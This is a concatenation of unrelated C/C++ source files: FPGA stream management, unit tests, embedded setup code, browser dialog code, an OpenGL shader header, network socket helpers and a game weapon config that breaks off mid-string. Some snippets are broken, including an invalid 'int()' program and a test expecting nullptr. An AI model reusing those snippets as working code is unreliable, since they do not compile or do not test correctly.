// To configure passthrough streams /*auto new_stream = current_stream; new_stream.stream_record_count = 0; new_stream.stream_id = 1; found_streams.push_back(new_stream); stream_status_array[new_stream.stream_id] = true;*/ } } } auto FPGAManager::RunQueryAcceleration( int timeout, std::map<int, std::vector<double>>& read_back_values) -> std::array<int, query_acceleration_constants::kMaxIOStreamCount> { std::vector<int> active_input_stream_ids; std::vector<int> active_output_stream_ids; // This can be expanded on in the future with multi threaded processing where // some streams are checked while others are being setup and fired. FindActiveStreams(active_input_stream_ids, active_output_stream_ids); if (active_input_stream_ids.empty() || active_output_stream_ids.empty()) { throw std::runtime_error("FPGA does not have active streams!"); } std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); WaitForStreamsToFinish(timeout); std::chrono::steady_clock::time_point end = std::chrono::steady_clock::now(); #ifdef FPGA_AVAILABLE ReadResultsFromRegisters(read_back_values); #endif Log(LogLevel::kInfo, "Execution time = " + std::to_string( std::chrono::duration_cast<std::chrono::microseconds>(end - begin) .count()) + "[microseconds]"); PrintDebuggingData(); return GetResultingStreamSizes(active_input_stream_ids, active_output_stream_ids); } void FPGAManager::FindActiveStreams( std::vector<int>& active_input_stream_ids, std::vector<int>& active_output_stream_ids) { for (int stream_id = 0; stream_id < query_acceleration_constants::kMaxIOStreamCount; stream_id++) { if (input_streams_active_status_[stream_id]) { active_input_stream_ids.push_back(stream_id); } if (output_streams_active_status_[stream_id]) { active_output_stream_ids.push_back(stream_id); } } } void FPGAManager::WaitForStreamsToFinish(int timeout) { dma_engine_->StartController(false, output_streams_active_status_); #ifdef FPGA_AVAILABLE std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); while (!(dma_engine_->IsControllerFinished(true) && dma_engine_->IsControllerFinished(false))) { if (std::chrono::duration_cast<std::chrono::seconds>( std::chrono::steady_clock::now() - begin) .count() > timeout) { throw std::runtime_error("Execution timed out!"); } // sleep(3); // std::cout << "Processing..." << std::endl; // std::cout << "Input:" // << dma_engine_.IsInputControllerFinished() // << std::endl; // std::cout << "Output:" // << dma_engine_.IsOutputControllerFinished() // << std::endl; } #endif } void FPGAManager::ReadResultsFromRegisters( std::map<int, std::vector<double>>& read_back_values) { if (!read_back_modules_.empty()) { // Assuming there are equal number of read back modules and parameters for (int module_index = 0; module_index < read_back_modules_.size(); module_index++) { read_back_values.insert({read_back_streams_ids_.at(module_index), {}}); for (auto const& position : read_back_parameters_.at(module_index)) { /*std::cout << "SUM: " << std::fixed << std::setprecision(2) << ReadModuleResultRegisters( std::move(read_back_modules_.at(module_index)), position) << std::endl;*/ // TODO: error here if you read from the read back module more than once // due to move! read_back_values.at(read_back_streams_ids_.at(module_index)) .push_back(ReadModuleResultRegisters( std::move(read_back_modules_.at(module_index)), position)); } } } } auto FPGAManager::GetResultingStreamSizes( const std::vector<int>& active_input_stream_ids, const std::vector<int>& active_output_stream_ids) -> std::array<int, query_acceleration_constants::kMaxIOStreamCount> { for (auto stream_id : active_input_stream_ids) { input_streams_active_status_[stream_id] = false; } std::array<int, query_acceleration_constants::kMaxIOStreamCount> result_sizes{}; for (auto stream_id : active_output_stream_ids) { output_streams_active_status_[stream_id] = false; /*if (stream_id == 2) { result_sizes[stream_id - 2] = dma_engine_->GetControllerStreamSize(false, stream_id); int yo = 0; } else { auto thing = dma_engine_->GetControllerStreamSize(false, stream_id); int yo = 0; }*/ result_sizes[stream_id] = dma_engine_->GetControllerStreamSize(false, stream_id); } return result_sizes; } void FPGAManager::PrintDebuggingData() { #ifdef FPGA_AVAILABLE auto log_level = LogLevel::kTrace; Log(log_level, "Runtime: " + std::to_string(dma_engine_->GetRuntime())); Log(log_level, "ValidReadCount: " + std::to_string(dma_engine_->GetValidReadCyclesCount())); Log(log_level, "ValidWriteCount: " + std::to_string(dma_engine_->GetValidWriteCyclesCount())); Log(log_level, "InputActiveDataCycles: " + std::to_string(dma_engine_->GetInputActiveDataCycles())); Log(log_level, "InputActiveDataLastCycles: " + std::to_string(dma_engine_->GetInputActiveDataLastCycles())); Log(log_level, "InputActiveControlCycles: " + std::to_string(dma_engine_->GetInputActiveControlCycles())); Log(log_level, "InputActiveControlLastCycles: " + std::to_string(dma_engine_->GetInputActiveControlLastCycles())); Log(log_level, "InputActiveEndOfStreamCycles: " + std::to_string(dma_engine_->GetInputActiveEndOfStreamCycles())); Log(log_level, "OutputActiveDataCycles : " + std::to_string(dma_engine_->GetOutputActiveDataCycles())); Log(log_level, "OutputActiveDataLastCycles: " + std::to_string(dma_engine_->GetOutputActiveDataLastCycles())); Log(log_level, "OutputActiveControlCycles: " + std::to_string(dma_engine_->GetOutputActiveControlCycles())); Log(log_level, "OutputActiveControlLastCycles: " + std::to_string(dma_engine_->GetOutputActiveControlLastCycles())); Log(log_level, "OutputActiveEndOfStreamCycles : " + std::to_string(dma_engine_->GetOutputActiveEndOfStreamCycles())); Log(log_level, "InputActiveInstructionCycles : " + std::to_string(dma_engine_->GetInputActiveInstructionCycles())); Log(log_level, "OutputActiveInstructionCycles : " + std::to_string(dma_engine_->GetOutputActiveInstructionCycles())); if (ila_module_) { std::cout << "======================================================ILA 0 " "DATA =======================================================" << std::endl; ila_module_->PrintILAData(0, 2048); std::cout << "======================================================ILA 1 " "DATA =======================================================" << std::endl; ila_module_->PrintILAData(1, 2048); std::cout << "======================================================ILA 2 " "DATA =======================================================" << std::endl; ila_module_->PrintDMAILAData(2048); } #endif } auto FPGAManager::ReadModuleResultRegisters( std::unique_ptr<ReadBackModule> read_back_module, int position) -> double { // Reversed reading because the data is reversed. uint32_t high_bits = read_back_module->ReadResult( ((query_acceleration_constants::kDatapathWidth - 1) - position * 2)); uint32_t low_bits = read_back_module->ReadResult(( (query_acceleration_constants::kDatapathWidth - 1) - (position * 2 + 1))); return static_cast<long long>((static_cast<uint64_t>(high_bits) << 32) + low_bits) / 100.0; }
#define BOOST_TEST_MODULE test_smart_pointer #include <boost/test/unit_test.hpp> // As we are using templates we need to include the implementation in // order to allow the compiler to generate the needed methods #include "SmartPointer1.cpp" template <typename T> T test1(T* pval) { SmartPointer1<T> sp1(pval); return *sp1; } template <typename T> void subroutine1(SmartPointer1<T>& sp1) { // do some stuff with sp1 } template <typename T> T *test2(T val) { T *pval = new T(val); test1(pval); return pval; } BOOST_AUTO_TEST_CASE(init_test) { BOOST_CHECK(5==test1(new int(5))); } BOOST_AUTO_TEST_CASE(free_test) { BOOST_CHECK(nullptr==test2(5)); }
#include <iostream> using namespace std; int(){ int a,b; cin>>a>>b; cout<<a "+" <<b <<"=" <<a+b; cout<<a "-" <<b <<"=" <<a-b; cout<<a "*" <<b <<"=" <<a*b; return 0; }
/* Copyright 2021 University of Manchester Licensed under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http: // www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "blocking_sort_module_setup.hpp" #include <algorithm> #include <stdexcept> #include "query_scheduling_helper.hpp" #include "table_data.hpp" using orkhestrafs::dbmstodspi::BlockingSortModuleSetup; using orkhestrafs::dbmstodspi::QuerySchedulingHelper; auto BlockingSortModuleSetup::GetWorstCaseProcessedTables( const std::vector<int>& min_capacity, const std::vector<std::string>& input_tables, const std::map<std::string, TableMetadata>& data_tables, const std::vector<std::string>& output_table_names) -> std::map<std::string, TableMetadata> { if (input_tables.size() != 1 || output_table_names.size() != 1) { throw std::runtime_error("Unsupporded table counts at preprocessing!"); } std::map<std::string, TableMetadata> resulting_tables; resulting_tables[output_table_names.front()] = data_tables.at(output_table_names.front()); resulting_tables[output_table_names.front()].record_count = data_tables.at(input_tables.front()).record_count; // There will be a -1 if the size is 0 but it shouldn't be a problem resulting_tables[output_table_names.front()].sorted_status = { 0, resulting_tables[output_table_names.front()].record_count - 1, resulting_tables[output_table_names.front()].record_count, 1}; return std::move(resulting_tables); } auto BlockingSortModuleSetup::UpdateDataTable( const std::vector<int>& module_capacity, const std::vector<std::string>& input_table_names, std::map<std::string, TableMetadata>& resulting_tables) -> bool { if (input_table_names.size() != 1) { throw std::runtime_error("Wrong number of tables!"); } if (module_capacity.size() != 1) { throw std::runtime_error("Wrong merge sort capacity given!"); } if (QuerySchedulingHelper::IsTableSorted( resulting_tables.at(input_table_names.front()))) { throw std::runtime_error("Table is sorted already!"); } // What do I do with this? // I have 0 clue! // So you put stuff into a linked table? // I take some sequences from current table. // I merge them all to another table. // If I can merge them all to a sorted table. -> Then just don't do anything // -> Say somehow that this node is completed If not completed Then just yh // update the current table by adding more sorted sequences. If we're creating // a auto& sorted_status = resulting_tables.at(input_table_names.front()).sorted_status; const auto& module_capacity_value = module_capacity.front(); if (module_capacity_value >= sorted_status.at(1) + 1) { sorted_status.clear(); sorted_status.push_back( resulting_tables.at(input_table_names.front()).record_count); return true; } else { sorted_status[0] = sorted_status.at(0) + (module_capacity_value - 1) * sorted_status.at(2); sorted_status[1] -= (module_capacity_value - 1); return false; } // TODO: Remove this old code // const auto& table_name = input_table_names.front(); // std::vector<int> new_sorted_sequences; // new_sorted_sequences.reserve( // resulting_tables.at(table_name).sorted_status.size()); // if (resulting_tables.at(table_name).sorted_status.empty()) { // // TODO: Fix this. // throw std::runtime_error("Merge sorter can't sort from 0 currently"); //} else { // SortDataTableWhileMinimizingMinorRuns( // resulting_tables.at(table_name).sorted_status, new_sorted_sequences, // resulting_tables.at(table_name).record_count, // module_capacity.front()); // // SortDataTableWhileMinimizingMajorRuns( // // resulting_tables.at(table_name).sorted_status, // new_sorted_sequences, // // resulting_tables.at(table_name).record_count, // // module_capacity.front()); //} // resulting_tables.at(table_name).sorted_status = // std::move(new_sorted_sequences); /*return QuerySchedulingHelper::IsTableSorted( resulting_tables.at(input_table_names.front()));*/ } void BlockingSortModuleSetup::SortDataTableWhileMinimizingMinorRuns( const std::vector<int>& old_sorted_sequences, std::vector<int>& new_sorted_sequences, int record_count, int module_capacity) { // Not supported currently. Assume that all elements belong to a sequence! /*int new_sequence_length = 0; for (int sequence_index = 0; sequence_index < std::min(module_capacity, static_cast<int>(old_sorted_sequences.size())); sequence_index++) { new_sequence_length += old_sorted_sequences.at(sequence_index).length; } if (module_capacity > old_sorted_sequences.size() && new_sequence_length < record_count) { new_sequence_length += module_capacity - old_sorted_sequences.size(); new_sequence_length = std::min(new_sequence_length, record_count); }*/ new_sorted_sequences.emplace_back(0); if (module_capacity < old_sorted_sequences.size()) { new_sorted_sequences.insert(new_sorted_sequences.end(), old_sorted_sequences.begin() + module_capacity, old_sorted_sequences.end()); } } void BlockingSortModuleSetup::SortDataTableWhileMinimizingMajorRuns( const std::vector<int>& old_sorted_sequences, std::vector<int>& new_sorted_sequences, int record_count, int module_capacity) { // Assuming the sequences are not empty and they're in correct order. // TODO: Remove this error // Not supported currently! /* int old_sequence_length = 0; for (const auto& sequence : old_sorted_sequences) { old_sequence_length += sequence.length; } if (old_sequence_length < record_count) { throw std::runtime_error( "Sorting single elements is not supported currently!"); } // If there are less sequences than that then just return one big sequence if (old_sorted_sequences.size() < module_capacity){ new_sorted_sequences.emplace_back(0, old_sequence_length); } else { // Find the smallest set of sequences to merge - Not entirely optimal int window_count = old_sorted_sequences.size() + 1 - module_capacity; std::vector<int> window_lengths (window_count, 0); // TODO: Make this one more clever. for (int window_location = 0; window_location<window_count; window_location++){ for (int sequence_index = window_location; sequence_index<window_location+record_count; sequence_index++){ window_lengths[window_location]+=old_sorted_sequences[sequence_index].length; } } int min_window_index = std::distance(window_lengths.begin(), std::min_element(window_lengths.begin(), window_lengths.end())); // Add sequences before window int start_point = 0; for (int sequence_index = 0; sequence_index < min_window_index; sequence_index++){ start_point+= old_sorted_sequences[sequence_index].length; new_sorted_sequences.push_back(old_sorted_sequences[sequence_index]); } // Add window new_sorted_sequences.emplace_back(start_point, window_lengths.at(min_window_index)); // If there are sequences to add after the window - add them. if (start_point + window_lengths.at(min_window_index) < record_count && module_capacity < old_sorted_sequences.size()) { new_sorted_sequences.insert(new_sorted_sequences.end(), old_sorted_sequences.begin() + min_window_index + module_capacity, old_sorted_sequences.end()); } }*/ }
#include <gtest/gtest.h> #include "net.h" TEST(NET,GIVEN_NET_WHEN_LETTER_NOT_IN_THEN_RETURN_FALSE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "teeth"; net n(s,4); EXPECT_NE(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_T_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "t"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_TE_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "te"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_TH_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "th"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_TA_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "ta"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_EER_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "eer"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_PEER_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "peer"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_CAT_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "cat"; net n(s,4); EXPECT_EQ(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTER_IS_HEI_THEN_RETURN_TRUE) { string s[4] = { "teca", "heht", "eerx", "phzm", }; string letter = "hei"; net n(s,4); EXPECT_NE(true,n.in_net(letter)); } TEST(NET,GIVEN_NET_WHEN_LETTERS_THEN_RETURN_RESULT) { string s[4] = { "teca", "heht", "eerx", "phzm", }; net n(s,4); string letter; letter = "teeth"; EXPECT_NE(true,n.in_net(letter)); letter = "peer"; EXPECT_EQ(true,n.in_net(letter)); letter = "cat"; EXPECT_EQ(true,n.in_net(letter)); letter = "hei"; EXPECT_NE(true,n.in_net(letter)); }
void setup_InfoTask() { #ifdef TASK_INFO xTaskCreatePinnedToCore( Info_task, // Function to implement the task "INFOtask", // Name of the task 10000, // Stack size in words NULL, // Task input parameter 0, // Priority of the task &taskInfo, // Task handle 0); // Core where the task should run PRINTLN("+ SHOW TASK setup OK"); #endif } void setup_Network() //Config Modbus IP { initETH(); check_WiFi(); if (!wifiErrors) { PRINTLN("+ WiFi connected!"); } else { PRINTLN("-- WiFi NOT FOUND! Will try to connect later."); } serialIP(); displayIP(); if (!wifiErrors) { PRINTLN("+ WiFi setup OK"); } else { PRINTLN("-- WiFi setup finished with ERROR"); } } void setup_SerialOLED() { Serial.begin(115200); LD_init(); LD_clearDisplay(); delay(1000); PRINTLN(strVersion); PRINTF(". VERSION: ", VERSION_CODE); String strVer = strVersion.substring(1 + strVersion.lastIndexOf('\\')); char chVer[16]; strVer.toCharArray(chVer, 16); LD_printString_6x8(chVer, LCDX1, 0); #ifndef USE_OLED PRINTLN("-- NO OLED in this version."); #endif } void setup_Encoder() { #ifdef USE_ENCODER key.add_key(ENCODER_pSW); key.add_enccoder(ENCODER_pCLK, ENCODER_pDT); PRINTLN("+ ENCODER configured OK."); #else PRINTLN("-- NO ENCODER in this version."); #endif }
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- * * Copyright (C) 1995-2011 Opera Software AS. All rights reserved. * * This file is part of the Opera web browser. It may not be distributed * under any circumstances. */ #include "core/pch.h" #include "adjunct/quick_toolkit/contexts/DelayedOkCancelDialogContext.h" #include "adjunct/quick_toolkit/widgets/QuickDialog.h" #include "adjunct/quick_toolkit/windows/DesktopWindow.h" DelayedOkCancelDialogContext::DelayedOkCancelDialogContext() : m_attached_to_window(false) , m_disable_timer(NULL) { } DelayedOkCancelDialogContext::~DelayedOkCancelDialogContext() { OP_DELETE(m_disable_timer); if (m_dialog != NULL && m_dialog->GetDesktopWindow() != NULL) m_dialog->GetDesktopWindow()->RemoveListener(this); } BOOL DelayedOkCancelDialogContext::DisablesAction(OpInputAction* action) { if(!AttachToWindowIfNeeded()) return FALSE; switch (action->GetAction()) { case OpInputAction::ACTION_OK: case OpInputAction::ACTION_CANCEL: return m_disable_timer != NULL; default: return OkCancelDialogContext::DisablesAction(action); } } void DelayedOkCancelDialogContext::OnDesktopWindowActivated(DesktopWindow* desktop_window, BOOL active) { if (active) { if (m_disable_timer == NULL) { m_disable_timer = OP_NEW(OpTimer, ()); g_input_manager->UpdateAllInputStates(); } if (m_disable_timer == NULL) return; m_disable_timer->SetTimerListener(this); m_disable_timer->Start(ENABLE_AFTER); } } void DelayedOkCancelDialogContext::OnTimeOut(OpTimer* timer) { OP_ASSERT(timer == m_disable_timer); OP_DELETE(m_disable_timer); m_disable_timer = NULL; g_input_manager->UpdateAllInputStates(); } bool DelayedOkCancelDialogContext::AttachToWindowIfNeeded() { if (!m_attached_to_window) { OP_ASSERT(m_dialog != NULL && m_dialog->GetDesktopWindow() != NULL); DesktopWindow* window = m_dialog->GetDesktopWindow(); RETURN_VALUE_IF_ERROR(window->AddListener(this), false); m_attached_to_window = true; OnDesktopWindowActivated(window, window->IsActive()); } return true; }
#ifndef __SHADER_H__ #define __SHADER_H__ #include <GL/glew.h> #include <glm/glm.hpp> #include <iostream> #include <string> #include <fstream> #include <sstream> class Program { public: // Faster no function calls GLuint id; public: Program (const GLchar* vertexShaderPath, const GLchar* fragmentShaderPath, const GLchar* geometryShaderPath = nullptr); inline void use() { glUseProgram(id); } // utility uniform functions // ------------------------------------------------------------------------ inline void setBool(const std::string &name, bool value) const { glUniform1i(glGetUniformLocation(id, name.c_str()), (int)value); } // ------------------------------------------------------------------------ inline void setInt(const std::string &name, int value) const { glUniform1i(glGetUniformLocation(id, name.c_str()), value); } // ------------------------------------------------------------------------ inline void setFloat(const std::string &name, float value) const { glUniform1f(glGetUniformLocation(id, name.c_str()), value); } // ------------------------------------------------------------------------ inline void setVec2(const std::string &name, const glm::vec2 &value) const { glUniform2fv(glGetUniformLocation(id, name.c_str()), 1, &value[0]); } inline void setVec2(const std::string &name, float x, float y) const { glUniform2f(glGetUniformLocation(id, name.c_str()), x, y); } // ------------------------------------------------------------------------ inline void setVec3(const std::string &name, const glm::vec3 &value) const { glUniform3fv(glGetUniformLocation(id, name.c_str()), 1, &value[0]); } inline void setVec3(const std::string &name, float x, float y, float z) const { glUniform3f(glGetUniformLocation(id, name.c_str()), x, y, z); } // ------------------------------------------------------------------------ inline void setVec4(const std::string &name, const glm::vec4 &value) const { glUniform4fv(glGetUniformLocation(id, name.c_str()), 1, &value[0]); } inline void setVec4(const std::string &name, float x, float y, float z, float w) { glUniform4f(glGetUniformLocation(id, name.c_str()), x, y, z, w); } // ------------------------------------------------------------------------ inline void setMat2(const std::string &name, const glm::mat2 &mat) const { glUniformMatrix2fv(glGetUniformLocation(id, name.c_str()), 1, GL_FALSE, &mat[0][0]); } // ------------------------------------------------------------------------ inline void setMat3(const std::string &name, const glm::mat3 &mat) const { glUniformMatrix3fv(glGetUniformLocation(id, name.c_str()), 1, GL_FALSE, &mat[0][0]); } // ------------------------------------------------------------------------ inline void setMat4(const std::string &name, const glm::mat4 &mat) const { glUniformMatrix4fv(glGetUniformLocation(id, name.c_str()), 1, GL_FALSE, &mat[0][0]); //glUniformMatrix4fv(glGetUniformLocation(id, name.c_str()), 1, GL_FALSE, glm::value_ptr(mat)); } private: std::string readFile(const GLchar* fileName); GLuint compileShader(GLuint shaderType, const GLchar* shaderCode); void linkShaders(GLuint vertexShaderH, GLuint fragmentShaderH, GLuint geometryShaderH); }; #endif
/* * Copyright [2017] <Bonn-Rhein-Sieg University> * * Author: Torsten Jandt * */ #pragma once #include <mir_planner_executor/actions/unstage/base_unstage_action.h> class MockupUnstageAction : public BaseUnstageAction { protected: virtual bool run(std::string& robot, std::string& platform, std::string& object); };
#include "../DetectMemoryLeak.h" #include "Ai_obstacle.h" #include <iostream> #include "../EntityManager.h" #include "../CollisionManager.h" using namespace std; /******************************************************************************** Constructor ********************************************************************************/ CStrategy_AI_Obstacle::CStrategy_AI_Obstacle() :maxDistFromPlayer(2), shootElapsedTime(0.0), timeBetweenShots(5.0) { CurrentState = ATTACK; } /******************************************************************************** Destructor ********************************************************************************/ CStrategy_AI_Obstacle::~CStrategy_AI_Obstacle() { } /******************************************************************************** Update method ********************************************************************************/ void CStrategy_AI_Obstacle::Update(Vector3& theDestination, Vector3 theEnemyPosition, Vector3& theEnemyDirection, double speed, double dt) { shootElapsedTime += dt * 10; int distancePlayerToEnemy = CalculateDistance(theDestination, theEnemyPosition); if (distancePlayerToEnemy > 20) // TODO : Not make this hardcoded lmao this->SetState(IDLE); else this->SetState(ATTACK); if (CurrentState == ATTACK && shootElapsedTime > timeBetweenShots) { SetIsShooting(true); shootElapsedTime = 0.0; } else SetIsShooting(false); } /******************************************************************************** Get the FSM state for this strategy ********************************************************************************/ CStrategy_AI_Obstacle::CURRENT_STATE CStrategy_AI_Obstacle::GetState(void) { return CurrentState; } /******************************************************************************** Set the FSM state for this strategy ********************************************************************************/ void CStrategy_AI_Obstacle::SetState(CStrategy_AI_Obstacle::CURRENT_STATE theEnemyState) { CurrentState = theEnemyState; }
#ifndef TIME_DIALOG_H #define TIME_DIALOG_H #include <QDialog> #include <QString> class QLabel; class QHBoxLayout; class TimeDialog : public QDialog { Q_OBJECT public: TimeDialog( void ); ~TimeDialog( void ); static QString timeToString( int time ) { int s_min = time/60; int s_sec1 = (time%60)/10; int s_sec2 = (time%60)%10; return QString( "%1:%2%3" ) .arg( s_min ) .arg( s_sec1 ) .arg( s_sec2 ); } public slots: void changeTime( int time ); private: QLabel* label; QHBoxLayout* layout; }; #endif
#include <iostream> #include <string> using namespace std; int main() { string S; cin >> S; bool judge = false; for (int i = 0; i < 5; ++i) { string T; cin >> T; for (int j = 0; j < 2; ++j) { if (S[j] == T[j]) judge = true; } } cout << (judge ? "YES" : "NO") << endl; return 0; }
#include "net.hh" #include "ioproc.hh" #include <netdb.h> namespace ten { int netconnect(int fd, const address &addr, unsigned ms) { while (::connect(fd, addr.sockaddr(), addr.addrlen()) < 0) { if (errno == EINTR) continue; if (errno == EINPROGRESS || errno == EADDRINUSE) { errno = 0; if (fdwait(fd, 'w', ms)) { return 0; } else if (errno == 0) { errno = ETIMEDOUT; } } return -1; } return 0; } int netdial(int fd, const char *addr, uint16_t port) { struct addrinfo *results = 0; struct addrinfo *result = 0; int status = getaddrinfo(addr, NULL, NULL, &results); if (status == 0) { for (result = results; result != NULL; result = result->ai_next) { address addr(result->ai_addr, result->ai_addrlen); addr.port(port); status = netconnect(fd, addr, 0); if (status == 0) break; } } freeaddrinfo(results); return status; } int netaccept(int fd, address &addr, int flags, unsigned timeout_ms) { int nfd; socklen_t addrlen = addr.addrlen(); while ((nfd = ::accept4(fd, addr.sockaddr(), &addrlen, flags | SOCK_NONBLOCK)) < 0) { if (errno == EINTR) continue; if (!IO_NOT_READY_ERROR) return -1; if (!fdwait(fd, 'r', timeout_ms)) { errno = ETIMEDOUT; return -1; } } return nfd; } ssize_t netrecv(int fd, void *buf, size_t len, int flags, unsigned timeout_ms) { ssize_t nr; while ((nr = ::recv(fd, buf, len, flags)) < 0) { if (errno == EINTR) continue; if (!IO_NOT_READY_ERROR) break; if (!fdwait(fd, 'r', timeout_ms)) { errno = ETIMEDOUT; break; } } return nr; } ssize_t netsend(int fd, const void *buf, size_t len, int flags, unsigned timeout_ms) { size_t total_sent=0; while (total_sent < len) { ssize_t nw = ::send(fd, &((const char *)buf)[total_sent], len-total_sent, flags); if (nw == -1) { if (errno == EINTR) continue; if (!IO_NOT_READY_ERROR) return -1; if (!fdwait(fd, 'w', timeout_ms)) { errno = ETIMEDOUT; return total_sent; } } else { total_sent += nw; } } return total_sent; } int netsock::dial(const char *addr, uint16_t port, unsigned timeout_ms) { // need large stack size for getaddrinfo (see dial) // TODO: maybe replace with c-ares from libcurl project ioproc io(8*1024*1024); return iodial(io, s.fd, addr, port); } } // end namespace ten
#define MP7_FLASHLIGHT class FlashLight\ {\ color[] = {0.9, 0.9, 0.7, 0.9};\ ambient[] = {0.1, 0.1, 0.1, 1.0};\ position = "flash dir";\ direction = "flash";\ angle = 30;\ scale[] = {1, 1, 0.5};\ brightness = 0.1;\ } #define MP7_MFLASHLIGHT class FlashLight\ {\ color[] = {0.9, 0.0, 0.0, 0.9};\ ambient[] = {0.1, 0.0, 0.0, 1.0};\ position = "flash dir";\ direction = "flash";\ angle = 30;\ scale[] = {1, 1, 0.5};\ brightness = 0.08;\ } #define MP7_ACOG modelOptics = "\Ca\weapons_E\SCAR\ACOG_TA31_optic_4x.p3d";\ class OpticsModes\ {\ class ACOG\ {\ opticsID = 1;\ useModelOptics = true;\ opticsFlare = true;\ opticsDisablePeripherialVision = true;\ opticsZoomMin = 0.0623;\ opticsZoomMax = 0.0623;\ opticsZoomInit = 0.0623;\ distanceZoomMin = 300;\ distanceZoomMax = 300;\ memoryPointCamera = "opticView";\ visionMode[] = {"Normal"};\ opticsPPEffects[] = {"OpticsCHAbera3","OpticsBlur3"};\ cameraDir = "";\ };\ \ class Iron\ {\ opticsID = 2;\ useModelOptics = false;\ opticsFlare = false;\ opticsDisablePeripherialVision = false;\ opticsZoomMin = 0.25;\ opticsZoomMax = 1.1;\ opticsZoomInit = 0.5;\ distanceZoomMin = 100;\ distanceZoomMax = 100;\ memoryPointCamera = "eye";\ visionMode[] = {};\ opticsPPEffects[] = {};\ cameraDir = "";\ };\ } class MP7_base: MP5A5 { scope = 2; displayName = "MP7"; model = "\C1987_Mp7\mp7.p3d"; picture = "\C1987_Mp7\equip\gui_mp7.paa"; optics = 0; value = 1000; dexterity = 1.75; handAnim[] = {"OFP2_ManSkeleton","\C1987_Mp7\anim\mp7.rtm"}; modes[] = {"Single","Fullauto"}; class Single: Mode_SemiAuto { begin1[] = {"\C1987_Mp7\sound\mp7_s1.wss",2,1,750}; begin2[] = {"\C1987_Mp7\sound\mp7_s2.wss",2,1,750}; begin3[] = {"\C1987_Mp7\sound\mp7_s3.wss",2,1,750}; begin4[] = {"\C1987_Mp7\sound\mp7_s4.wss",2,1,750}; soundBegin[] = {"begin1",0.25,"begin2",0.25,"begin3",0.25,"begin4",0.25}; recoil = "MP7Recoil"; recoilProne = "MP7Recoil"; dispersion = 0.004; minRange = 2; minRangeProbab = 0.1; midRange = 40; midRangeProbab = 0.7; maxRange = 150; maxRangeProbab = 0.05; }; class FullAuto: Mode_FullAuto { begin1[] = {"\C1987_Mp7\sound\mp7_s1.wss",2,1,750}; begin2[] = {"\C1987_Mp7\sound\mp7_s2.wss",2,1,750}; begin3[] = {"\C1987_Mp7\sound\mp7_s3.wss",2,1,750}; begin4[] = {"\C1987_Mp7\sound\mp7_s4.wss",2,1,750}; soundBegin[] = {"begin1",0.25,"begin2",0.25,"begin3",0.25,"begin4",0.25}; soundContinuous = 0; ffCount = 1; recoil = "MP7Recoil"; recoilProne = "MP7Recoil"; aiRateOfFire = 0.001; dispersion = 0.0035; minRange = 2; minRangeProbab = 0.2; midRange = 20; midRangeProbab = 0.7; maxRange = 40; maxRangeProbab = 0.05; }; reloadMagazineSound[] = {"\C1987_Mp7\sound\mp7_reload.wss",1,1,20}; drySound[] = {"\C1987_Mp7\sound\mp7_dry.wss",1,1,20}; magazines[] = {"40Rnd_46x30_mp7"}; descriptionShort = "HK MP7A1"; class Library { libTextDesc = "The MP7 is a German Submachine Gun Manufactured by Heckler and Koch (HK) and Chambered for the HK 4.6×30mm Cartridge. It was Designed with the new Cartridge to Meet NATO Requirements Published in 1989, as these Requirements call for a Personal Defense Weapon (PDW) Class Firearm, with a greater ability to defeat body armor than current Weapons limited to conventional Pistol Cartridges. The MP7 went into Production in 2001. It is a direct Rival to the FN P90, also Developed in Response to NATO's Requirement. The Weapon has been revised since its Introduction and the current Production Version is the MP7A1."; }; }; class MP7_DZ: MP7_base { displayName = $STR_DZ_WPN_MP7_NAME; model = "\C1987_Mp7\mp7.p3d"; picture = "\C1987_Mp7\equip\gui_mp7.paa"; descriptionShort = $STR_DZ_WPN_MP7_DESC; class Attachments { Attachment_CCO = "MP7_CCO_DZ"; Attachment_Holo = "MP7_Holo_DZ"; Attachment_ACOG = "MP7_ACOG_DZ"; Attachment_Sup9 = "MP7_SD_DZ"; Attachment_FL_Pist = "MP7_FL_DZ"; Attachment_MFL_Pist = "MP7_MFL_DZ"; }; }; class MP7_FL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_FL_NAME; model = "\C1987_Mp7\mp7_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7.paa"; MP7_FLASHLIGHT; class Attachments { Attachment_CCO = "MP7_CCO_FL_DZ"; Attachment_Holo = "MP7_Holo_FL_DZ"; Attachment_ACOG = "MP7_ACOG_FL_DZ"; Attachment_Sup9 = "MP7_SD_FL_DZ"; }; class ItemActions { class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; 